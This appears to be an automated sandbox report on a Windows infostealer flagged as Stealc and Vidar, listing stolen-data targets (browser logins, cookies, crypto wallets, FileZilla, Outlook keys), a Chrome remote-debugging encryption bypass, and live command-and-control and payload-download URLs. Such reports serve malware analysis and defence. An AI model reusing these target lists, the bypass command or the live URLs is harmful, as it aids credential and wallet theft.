Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5640, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2587213039.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2075003710.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2586630909.000000000071E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5640, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5640, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/freebl3.dll=	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exe(X	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpF#	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php%	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpbJ	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpt#	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.57	true	false	high
www.google.com	142.250.181.68	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
deff.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
https://sb.scorecardresearch.com/b?rn=1732313197626&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1981927DEF30640D17DC8742EE526551&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://c.msn.com/c.gif?rnd=1732313197626&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7dd1da5736714f8ca4abe9d156210cf4&activityId=7dd1da5736714f8ca4abe9d156210cf4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2F5A781EBD344B789849D40870A32EB8&MUID=1981927DEF30640D17DC8742EE526551	false	high
https://c.msn.com/c.gif?rnd=1732313197626&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7dd1da5736714f8ca4abe9d156210cf4&activityId=7dd1da5736714f8ca4abe9d156210cf4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732313204674&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://sb.scorecardresearch.com/b2?rn=1732313197626&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1981927DEF30640D17DC8742EE526551&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732313203734&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732313203730&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732313197623&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2356515331.00000000234AC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2586630909.00000000007B2000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2356515331.00000000234AC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2586630909.00000000007B2000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpF#	file.exe, 00000000.00000002.2623624462.000000002351E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://ntp.msn.com/_default	QuotaManager.8.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2623624462.0000000023501000.00000004.00000020.00020000.00000000.sdmp, KJJJKFIIIJJJECAAEHDB.0.dr	false		high
https://www.last.fm/	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll=	file.exe, 00000000.00000002.2586630909.0000000000776000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.8.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://docs.google.com/	manifest.json0.8.dr	false		high
https://www.youtube.com	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://www.instagram.com	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://drive.google.com/	manifest.json0.8.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://www.messenger.com	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://i.y.qq.com/n2/m/index.html	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://www.deezer.com/	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
http://185.215.113.16/mine/random.exe(X	file.exe, 00000000.00000002.2586630909.0000000000790000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206lfons	file.exe, 00000000.00000002.2587213039.0000000000F95000.00000040.00000001.01000000.00000003.sdmp	false		high
https://web.telegram.org/	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.8.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.8.dr	false		high
https://vibe.naver.com/today	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2356515331.00000000234AC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2586630909.00000000007B2000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2586630909.00000000007B2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.8.dr	false		high
https://excel.new?from=EdgeM365Shoreline	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EHJDHJKFIECAAKFIJJKJKFHJKE.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.8.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.9.dr	false		high
https://www.google.com/chrome	content_new.js.8.dr, content.js.8.dr	false		high
https://www.tiktok.com/	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.8.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	EHJDHJKFIECAAKFIJJKJKFHJKE.0.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2623624462.0000000023501000.00000004.00000020.00020000.00000000.sdmp, KJJJKFIIIJJJECAAEHDB.0.dr	false		high
https://chromewebstore.google.com/	manifest.json.8.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.8.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2623624462.0000000023501000.00000004.00000020.00020000.00000000.sdmp, KJJJKFIIIJJJECAAEHDB.0.dr	false		high
https://msn.comXIDv10	Cookies.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://chrome.google.com/webstore/	manifest.json.8.dr	false		high
https://y.music.163.com/m/	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://bard.google.com/	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://web.whatsapp.com	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://m.kugou.com/	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://www.office.com	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://outlook.live.com/mail/0/	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	KJJJKFIIIJJJECAAEHDB.0.dr	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2356515331.00000000234AC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2586630909.00000000007B2000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpp	file.exe, 00000000.00000002.2623624462.000000002351E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tidal.com/	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://ntp.msn.com	000003.log3.8.dr, 2cc80dabc69f58b6_0.8.dr	false		high
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://gaana.com/	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://drive-staging.corp.google.com/	manifest.json0.8.dr	false		high
https://outlook.live.com/mail/compose?isExtension=true	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2356515331.00000000234AC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2586630909.00000000007B2000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php%	skotes.exe, 00000019.00000002.3316663562.000000000166E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpbJ	file.exe, 00000000.00000002.2623624462.0000000023512000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	false		high
https://ntp.msn.com/	000003.log0.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpt#	file.exe, 00000000.00000002.2623624462.000000002351E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2629547909.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2614395761.000000001D3BA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start	Session_13376786785330955.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.96.180.189	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
52.182.141.63	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.238.49.74	unknown	United States	16509	AMAZON-02US	false
104.126.116.98	unknown	United States	20940	AKAMAI-ASN1EU	false
23.209.72.17	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
